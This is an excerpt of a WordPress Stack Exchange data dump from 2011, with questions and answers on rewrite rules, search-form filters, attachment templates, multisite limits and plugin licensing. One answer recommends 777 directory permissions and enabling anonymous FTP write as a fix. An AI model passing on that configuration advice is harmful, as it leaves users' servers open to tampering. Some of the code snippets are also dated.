  <row Id="14929" PostTypeId="2" ParentId="14924" CreationDate="2011-04-17T01:38:21.100" Score="0" ViewCount="" Body="&lt;p&gt;You could use a plugin like PrettyLink to create a friendly URL to redirect to the attachment. &lt;a href=&quot;http://wordpress.org/extend/plugins/pretty-link/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pretty-link/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-04-17T01:38:21.100" />
  <row Id="14930" PostTypeId="1" CreationDate="2011-04-17T01:55:40.597" Score="0" ViewCount="67" Body="&lt;p&gt;I'd like to have classes of site within my multisite network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, a &quot;basic&quot; level account might be limited to a maximum of X pages and unlimited posts of a single pre-specified custom type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I note that this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-posts-creation-limits/&quot; rel=&quot;nofollow&quot;&gt;Bainternet Posts Creation Limits&lt;/a&gt; as discussed &lt;a href=&quot;http://wordpress.org/support/topic/plugin-bainternet-posts-creation-limits-feedback#post-2015073&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; can be used as a foundation to impose these limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better option?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-22T19:52:08.840" Title="Options to limit page/post counts per site in a multi-site installation" Tags="&lt;multisite&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="14931" PostTypeId="2" ParentId="14924" CreationDate="2011-04-17T02:19:16.387" Score="2" ViewCount="" Body="&lt;p&gt;here a simple WordPress rewrite rule to get the job done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('generate_rewrite_rules', 'attachment_rewrite_rule_14924');&#xA;&#xA;function attachment_rewrite_rule_14924($wp_rewrite){&#xA;  $newrules = array();&#xA;  $new_rules['attachment/(\d*)$'] = 'index.php?attachment_id=$matches[1]';&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just add this code to your theme's functions.php file and save.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-01T11:19:31.860" LastActivityDate="2011-08-01T11:19:31.860" CommentCount="1" />
  <row Id="14932" PostTypeId="1" CreationDate="2011-04-17T03:17:40.430" Score="0" ViewCount="140" Body="&lt;p&gt;I've installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/job-manager/&quot; rel=&quot;nofollow&quot;&gt;Job Manager plugin&lt;/a&gt; on my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like for the job listings to display on my jobs page, eg. &lt;code&gt;example.com/jobs/&lt;/code&gt; instead of &lt;code&gt;example.com/jobs/jobs/&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-17T14:09:59.850" LastActivityDate="2011-05-17T14:51:12.877" Title="Job Manager plugin help?" Tags="&lt;page&gt;&lt;plugin-job-manager&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="14933" PostTypeId="1" CreationDate="2011-04-17T07:50:33.787" Score="0" ViewCount="133" Body="&lt;p&gt;I wanted to override the wordpress default search with my custom search, however when i put the following code in the plugin file it doesn't appear replace the default searchbox(no error, nothing) and when i put the code in functions.php it works fine and replaces the default searchbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why is it not working in plugin file? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function DynamiteSearch($form) {&#xA;    $form = '&amp;lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;' . get_option('home') . '/&quot; &amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;label class=&quot;hidden&quot; for=&quot;s&quot;&amp;gt;' . __('Search for:') . '&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;' . attribute_escape(apply_filters('the_search_query', get_search_query())) . '&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;'.attribute_escape(__('Search')).'&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/form&amp;gt;';&#xA;    return $form;&#xA;}&#xA;&#xA;add_filter('get_search_form', 'DynamiteSearch');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4728" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-07-17T05:44:01.363" LastActivityDate="2011-07-17T05:44:01.363" Title="What's wrong with my usage of add_filter" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14934" PostTypeId="1" CreationDate="2011-04-17T08:17:20.337" Score="0" ViewCount="292" Body="&lt;p&gt;I'd like to make a client area in WordPress from my freelance design business. I'm capable of making it myself but I was wondering if there are any good tutorials and plugins that other people are already using. A Basecamp style project management system would be the ideal.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-04-17T08:17:20.337" Title="Making a client area in WordPress - Any good tutorials or plugins?" Tags="&lt;wp-admin&gt;&lt;membership&gt;" CommentCount="2" />
  <row Id="14936" PostTypeId="2" ParentId="14932" CreationDate="2011-04-17T08:48:25.087" Score="1" ViewCount="" Body="&lt;p&gt;the plugin creates a page on activation named &quot;Job Listing&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so go to settings &gt;&gt; reading &gt;&gt; Front page displays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pick &quot;A static page (select below)&quot; and for &quot;Front page: &quot; select &quot;Job Listing&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-17T08:48:25.087" />
  <row Id="14937" PostTypeId="1" CreationDate="2011-04-17T08:52:51.873" Score="-1" ViewCount="299" Body="&lt;p&gt;hey guys,&#xA;didn't know that, but the attachement page (i'm using attachment.php as template) is actually looping through ALL ever uploaded attachments to my blog!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to use it in order to view the images of a gallery etc. So I just want to loop through the images that are specific to the current post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;attachment.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;posts-container&quot;&amp;gt;   &#xA;&#xA;    &amp;lt;?php get_template_part( 'loop', 'attachment' ); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- posts-container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loop-attachment.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;article &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;entry-attachment&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if ( wp_attachment_is_image() ) :&#xA;    $attachments = array_values( get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;post_parent, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'menu_order ID' ) ) );&#xA;    foreach ( $attachments as $k =&amp;gt; $attachment ) {&#xA;        if ( $attachment-&amp;gt;ID == $post-&amp;gt;ID )&#xA;            break;&#xA;    }&#xA;    $k++;&#xA;    // If there is more than 1 image attachment in a gallery&#xA;    if ( count( $attachments ) &amp;gt; 1 ) {&#xA;        if ( isset( $attachments[ $k ] ) )&#xA;            // get the URL of the next image attachment&#xA;            $next_attachment_url = get_attachment_link( $attachments[ $k ]-&amp;gt;ID );&#xA;        else&#xA;            // or get the URL of the first image attachment&#xA;            $next_attachment_url = get_attachment_link( $attachments[ 0 ]-&amp;gt;ID );&#xA;    } else {&#xA;        // or, if there's only 1 image attachment, get the URL of the image&#xA;        $next_attachment_url = wp_get_attachment_url();&#xA;    }&#xA;?&amp;gt;&#xA;                        &amp;lt;div class=&quot;attachment&quot;&amp;gt;&#xA;                            &amp;lt;!-- &amp;lt;a href=&quot;&amp;lt;?php echo $next_attachment_url; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo esc_attr( get_the_title() ); ?&amp;gt;&quot; rel=&quot;attachment&quot;&amp;gt; --&amp;gt;&#xA;&#xA;                            &amp;lt;?php&#xA;                            $attachment_width  = apply_filters( 'attachment_width', 1068 );&#xA;                            $attachment_height = apply_filters( 'attachment_height', 1068 );&#xA;                            echo wp_get_attachment_image( $post-&amp;gt;ID, array( $attachment_width, $attachment_height ) ); // filterable image width with, essentially, no limit for image height.&#xA;                        ?&amp;gt;&#xA;                            &amp;lt;!-- &amp;lt;/a&amp;gt; --&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&#xA;                                &amp;lt;?php previous_image_link( false, '&amp;amp;nbsp;' ); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&#xA;                                &amp;lt;?php next_image_link( false, '&amp;amp;nbsp;' ); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-attachment --&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;entry-caption&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ( !empty( $post-&amp;gt;post_excerpt ) ) the_excerpt(); ?&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- entry --&amp;gt;&#xA;&#xA;                &amp;lt;/article&amp;gt;&amp;lt;!-- post --&amp;gt;&#xA;&#xA;&amp;lt;?php //comments_template(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-04-18T07:24:08.223" LastActivityDate="2011-04-18T07:24:08.223" Title="attachment page template? only show attachments for current post?" Tags="&lt;functions&gt;&lt;template&gt;&lt;attachments&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14938" PostTypeId="2" ParentId="14933" CreationDate="2011-04-17T09:12:33.957" Score="0" ViewCount="" Body="&lt;p&gt;If the code you've posted is literally all the code you're placing into the file, that'll be why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly you need plugin headers at the top of the file, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;    Author: whoever&#xA;    Description: whatever&#xA;    Domain Path: /lang&#xA;    Plugin Name: Some Name&#xA;    Plugin URI: &#xA;    Text Domain: some-domain&#xA;    Version: 1.0&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly you need to activate the plugin from the plugins admin page(Admin &gt; Plugins), but it'll only appear in that list once the plugin has a valid header, like the one posted above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If neither of those two things is the problem, please post up more of your code(there must be more, because you're missing the plugin headers from what's posted)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-17T09:12:33.957" />
  <row Id="14939" PostTypeId="1" AcceptedAnswerId="14943" CreationDate="2011-04-17T09:14:24.127" Score="0" ViewCount="96" Body="&lt;p&gt;I guess the title of this question is not clear. I'm asking for a plugin, which only superadmins can use, that shows which (or, at least, how many) blogs use each plugin installed on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched a lot for this, but found nothing. Is anybody who knows any such plugin?&lt;/p&gt;&#xA;" OwnerUserId="4732" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-17T10:49:35.703" LastActivityDate="2011-04-17T10:49:35.703" Title="Plugin to list active plugins across networked sites" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;network&gt;&lt;network-admin&gt;" AnswerCount="1" />
  <row Id="14940" PostTypeId="1" CreationDate="2011-04-17T06:28:56.720" Score="1" ViewCount="114" Body="&lt;p&gt;I would like to ask if the content of a wordpress blog--not the theme, but the actual entries--are GPL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be doubly sure before I create a wordpress account. Please note: I have no beef with GPL, and respect that some people like it. I simply prefer things that aren't put under this license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&#xA;Fiton&lt;/p&gt;&#xA;" LastActivityDate="2011-04-29T14:33:32.280" Title="Is the content of a Wordpress blog GPL?" Tags="&lt;licensing&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="14941" PostTypeId="2" ParentId="14940" CreationDate="2011-04-17T06:43:19.983" Score="2" ViewCount="" Body="&lt;p&gt;Think about it. If I write a text file using the Linux kernel (GPL) and GNU software like Gnome or Bash (also GPL) using GNU Emacs (also GPL), is that text file GPL? No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that should answer your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, on a general basis, the copyleft aspect of the GPL only applies to when you use the code, either by extending, linking, or copying sections. Works produced using a piece of software licensed under the GPL but not its code belong to the creator and can be licensed however they want.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-17T06:43:19.983" />
  <row Id="14943" PostTypeId="2" ParentId="14939" CreationDate="2011-04-17T09:45:47.137" Score="2" ViewCount="" Body="&lt;p&gt;You mean something like: &lt;a href=&quot;http://wordpress.org/extend/plugins/active-plugins-on-multisite/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Active Plugins&lt;/strong&gt;&lt;/a&gt; which is a plugin that Generates a list of plugins that are currently in use and Does not include primary blog, network activated plugins, or plugins with 0 users.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-17T09:45:47.137" CommentCount="1" />
  <row Id="14944" PostTypeId="2" ParentId="14937" CreationDate="2011-04-17T13:40:36.370" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;attachment.php&lt;/code&gt; is a specific template in the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;WordPress template hierarchy&lt;/a&gt;. WordPress uses it for a specific purpose, and the default Loop just won't do what you're claiming it's doing. (The behavior you're describing would be analogous to the &lt;code&gt;single.php&lt;/code&gt; template file looping through all Posts.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing your &lt;code&gt;attachment.php&lt;/code&gt; template file has a custom Loop. As Baiternet asked above, can you post or link the markup of your &lt;code&gt;attachment.php&lt;/code&gt; template file?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-17T13:40:36.370" CommentCount="3" />
  <row Id="14945" PostTypeId="1" CreationDate="2011-04-17T14:15:47.010" Score="0" ViewCount="79" Body="&lt;p&gt;I'd like to setup a wordpress site for my martial arts club (both for PR &amp;amp; club administration)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend any plugins which would satisfy some/all of the following criteria&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contact Management - Out of the box name, address, contact details etc for our members.&lt;/li&gt;&#xA;&lt;li&gt;Contact Management with Extended customisable fields - e.g. recording custom info relating to martial arts (emergency contact, dates of gradings, etc...)&lt;/li&gt;&#xA;&lt;li&gt;Attendance Calendar - Recording member attendance at classes/seminars/events + ability to report on it.&lt;/li&gt;&#xA;&lt;li&gt;Email lists/groups for contacting membership&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;~Eoin C&lt;/p&gt;&#xA;" OwnerUserId="4735" LastActivityDate="2011-04-17T14:15:47.010" Title="Can you suggest a membership / club administration plugin?" Tags="&lt;plugins&gt;&lt;contact&gt;&lt;membership&gt;" CommentCount="1" />
  <row Id="14947" PostTypeId="2" ParentId="14097" CreationDate="2011-04-17T14:57:26.273" Score="0" ViewCount="" Body="&lt;p&gt;I had this problem and the answer was found (a) in enabling ftp to write and (b) at least temporarily setting the directories to 777 although I think the latter permissions can be improved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run vsftp with chroot'd users.  After finding no mention in apache logs, setting the permissions to 777, changing ftp group to www-data, enabling anonymous ftp to write, tearing my hair out, kicking the dog etc etc the penny eventually dropped that ftp was not allowed to write.  I also upgraded a multi-site to 3.1.1 and that needs 777 set (well probably less) but returns the files 640.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be that a changed ftp configuration has tripped you up.&lt;/p&gt;&#xA;" OwnerUserId="4739" LastActivityDate="2011-04-17T14:57:26.273" />
  <row Id="14948" PostTypeId="2" ParentId="14933" CreationDate="2011-04-17T16:11:21.637" Score="1" ViewCount="" Body="&lt;p&gt;I cleaned up your code, and put all the header information for installing it. Your plugin works fine, I tested it!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Author: whoever&#xA;Plugin Name: Some Name&#xA;Plugin URI: &#xA;Text Domain: some-domain&#xA;Version: 1.0&#xA;*/&#xA;&#xA;function DynamiteSearch($form) &#xA;{&#xA;    $form = &quot;&amp;lt;form method = 'get' id = 'searchform' action = ' &quot;.site_url().&quot; ' &amp;gt;&quot;;&#xA;    $form .= &quot;&amp;lt;div&amp;gt;&amp;lt;label class = 'hidden' for='s'&amp;gt;&quot;. __(&quot;Search for: &quot;) . &quot;&amp;lt;/label&amp;gt;&quot;;&#xA;    $form .= &quot;&amp;lt;input type = 'text' value=' &quot;. attribute_escape(apply_filters('the_search_query', get_search_query())) .&quot; ' name='s' id='s' /&amp;gt;&quot;;&#xA;    $form .= &quot;&amp;lt;input type = 'submit' id='searchsubmit' value=' &quot;.attribute_escape(__('Look for it')).&quot; ' /&amp;gt;&quot;;&#xA;    $form .= &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    $form .= &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $form;&#xA;}&#xA;&#xA;add_filter('get_search_form', 'DynamiteSearch');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try changing the submit button text to see if it works. Let me know if it worked for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Rutwick&lt;/p&gt;&#xA;" OwnerUserId="4740" LastEditorUserId="4740" LastEditorDisplayName="" LastEditDate="2011-04-17T16:19:56.560" LastActivityDate="2011-04-17T16:19:56.560" CommentCount="3" />
  <row Id="14949" PostTypeId="2" ParentId="9076" CreationDate="2011-04-17T16:21:25.590" Score="1" ViewCount="" Body="&lt;p&gt;Otto's answer is spot-on. I also discovered this the hard way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I managed to work around this using a cool script at &lt;a href=&quot;http://spectacu.la/search-and-replace-for-wordpress-databases/&quot; rel=&quot;nofollow&quot;&gt;http://spectacu.la/search-and-replace-for-wordpress-databases/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To migrate your wordpress and to a new url / domain name, do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take a DB dump (e.g. using phpmyadmin) of the existing wordpress&lt;/li&gt;&#xA;&lt;li&gt;Restore the dump as-is, (without modifications!) to your new location&lt;/li&gt;&#xA;&lt;li&gt;Unzip the script from spectacu.la into your wordpress home folder (it's not a plugin...)&lt;/li&gt;&#xA;&lt;li&gt;Run the script on your new site by pointing your browser to it, e.g. &lt;a href=&quot;http://new-website.url/searchreplacedb.php&quot; rel=&quot;nofollow&quot;&gt;http://new-website.url/searchreplacedb.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Don't forget to delete the script from your new wordpress home&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4741" LastActivityDate="2011-04-17T16:21:25.590" />
  <row Id="14950" PostTypeId="2" ParentId="6961" CreationDate="2011-04-17T17:36:45.900" Score="0" ViewCount="" Body="&lt;p&gt;The get_the_content() function would return full content if $more != 0.&#xA;You have to set global variable $more to 0 to make sure get_the_content() function return excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modified wp_trim_excerpt() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_trim_excerpt($text) {&#xA;    $raw_excerpt = $text;&#xA;    if ( '' == $text ) {&#xA;        global $more;&#xA;        $tmp = $more;&#xA;        $more = 0;&#xA;        $text = get_the_content('');&#xA;        $more = $tmp;&#xA;&#xA;        $text = strip_shortcodes( $text );&#xA;&#xA;        $text = apply_filters('the_content', $text);&#xA;        $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;        $text = strip_tags($text);&#xA;        $excerpt_length = apply_filters('excerpt_length', 55);&#xA;        $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;        $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;        if ( count($words) &amp;gt; $excerpt_length ) {&#xA;            array_pop($words);&#xA;            $text = implode(' ', $words);&#xA;            $text = $text . $excerpt_more;&#xA;        } else {&#xA;            $text = implode(' ', $words);&#xA;        }&#xA;    }&#xA;    return apply_filters('wp_trim_excerpt', $text, $raw_excerpt);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4742" LastActivityDate="2011-04-17T17:36:45.900" />
  <row Id="14951" PostTypeId="1" AcceptedAnswerId="14956" CreationDate="2011-04-17T18:01:57.740" Score="0" ViewCount="88" Body="&lt;p&gt;I'm currently developing some plugins. Due to the fact that they should also be available via the wp.org plugin repo, i need to license them properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My decision so far is to use a modified &lt;em&gt;MIT/Expat&lt;/em&gt; license, which is compatible to the &lt;em&gt;GNU GPL&lt;/em&gt; license. I modified/extended the license in two places (bold quote parts). I now would like to know if &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This could conflict with the GNU GPL license.&lt;/li&gt;&#xA;&lt;li&gt;The grammar, vocabulary and else is correct.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(c) Copyright 2011 - by ... me&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Area of jurisdication: Austria.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Permission is hereby granted, free of charge, to any person obtaining a copy of this software &#xA;  and associated documentation files (the “Software”), to deal in the Software without restriction, &#xA;  including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, &#xA;  and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, &#xA;  subject to the following conditions:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The above copyright notice, &lt;strong&gt;and every other copyright notice found in this software, &#xA;  and all the attributions in every file,&lt;/strong&gt; and this permission notice shall be included &#xA;  in all copies or substantial portions of the Software. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, &#xA;  INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR &#xA;  PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE &#xA;  FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, &#xA;  ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm aware that none of you is a lawyer, so it's more about your opinion. If you got additions (of any kind), feel free to tell me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; So far I got to the point that I &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can't write anything about &quot;legal content&quot; and &lt;/li&gt;&#xA;&lt;li&gt;the area of jurisdication says nothing about any right restrictions and therefore is ok &amp;amp; non conflicting with the GPL. &lt;/li&gt;&#xA;&lt;li&gt;About &quot;and every other copyright notice&quot; does not conflict, because it's no restriction. It's (in my case) mostly about css &amp;amp; graphics.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-17T22:14:58.260" LastActivityDate="2011-04-18T01:23:26.427" Title="extended MIT license" Tags="&lt;licensing&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="14952" PostTypeId="2" ParentId="14951" CreationDate="2011-04-17T18:13:07.470" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;What does it mean to say a license is “compatible with the GPL?”&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It means that the other license and the GNU GPL are compatible; you can combine code released under the other license with code released under the GNU GPL in one larger program.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;All GNU GPL versions permit such combinations privately; they also permit distribution of such combinations provided the combination is released under the same GNU GPL version. The other license is compatible with the GPL if it permits this too.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.html#WhatDoesCompatMean&quot; rel=&quot;nofollow&quot;&gt;Frequently Asked Questions about the GNU Licenses&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My non-lawyer opinion is that your license has clauses not present in GPL and more restrictive than GPL and as such cannot be released as combined under GPL.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-17T18:13:07.470" />
  <row Id="14953" PostTypeId="2" ParentId="14951" CreationDate="2011-04-17T18:13:44.820" Score="2" ViewCount="" Body="&lt;p&gt;I'm pretty sure this modified license is &lt;em&gt;not&lt;/em&gt; compatible with the GPL, since it contradicts freedom 0: The freedom to run the program, for &lt;em&gt;any&lt;/em&gt; purpose:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gnu.org/philosophy/free-sw.html&quot; rel=&quot;nofollow&quot;&gt;http://www.gnu.org/philosophy/free-sw.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RE &quot;and every other copyright notice found in this software, and all the attributions in every file&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long those packages' respective licenses require that the copyright and attribution notices remain intact and &lt;em&gt;you&lt;/em&gt; correctly include them, there's no need to &quot;protect&quot; them again.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-18T01:23:26.427" LastActivityDate="2011-04-18T01:23:26.427" CommentCount="4" />
  <row Id="14954" PostTypeId="2" ParentId="12242" CreationDate="2011-04-17T20:15:14.030" Score="1" ViewCount="" Body="&lt;p&gt;Copy &amp;amp; Paste from comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like the plugin has a bug. The plugin doesn't seem to be actively maintained anyway, but your best bet is to contact the plugin author. The cufon project is pretty similar and production proven. Just google for it. But in times of CSS3 and HTML5 you could simply insert the font via @font-face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: It is totally safe to use @font-face these days. IE actually supports font-face since IE4 via the .eot format. Not as nice as using the .otf like modern browsers do, but far better than any other solution. &lt;/p&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-04-17T20:15:14.030" />
  <row Id="14955" PostTypeId="1" CreationDate="2011-04-17T20:32:57.830" Score="0" ViewCount="49" Body="&lt;p&gt;My widget only shows the month when I created regular posts, and if there's a number added to it, it displays only the number of regular posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My archives page itself shows everything, including pages. I want to get those out. I played with removing a couple of functions that I use to display custom post types but got no change in archives results, so I don't think they're the problem. I'm not running any queries in the archive.php template. Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3755" LastActivityDate="2011-04-17T20:32:57.830" Title="How to exclude pages from archives and fix the widget to work with custom posts" Tags="&lt;archive&gt;&lt;pages&gt;&lt;custom-post-type-archives&gt;" CommentCount="1" />
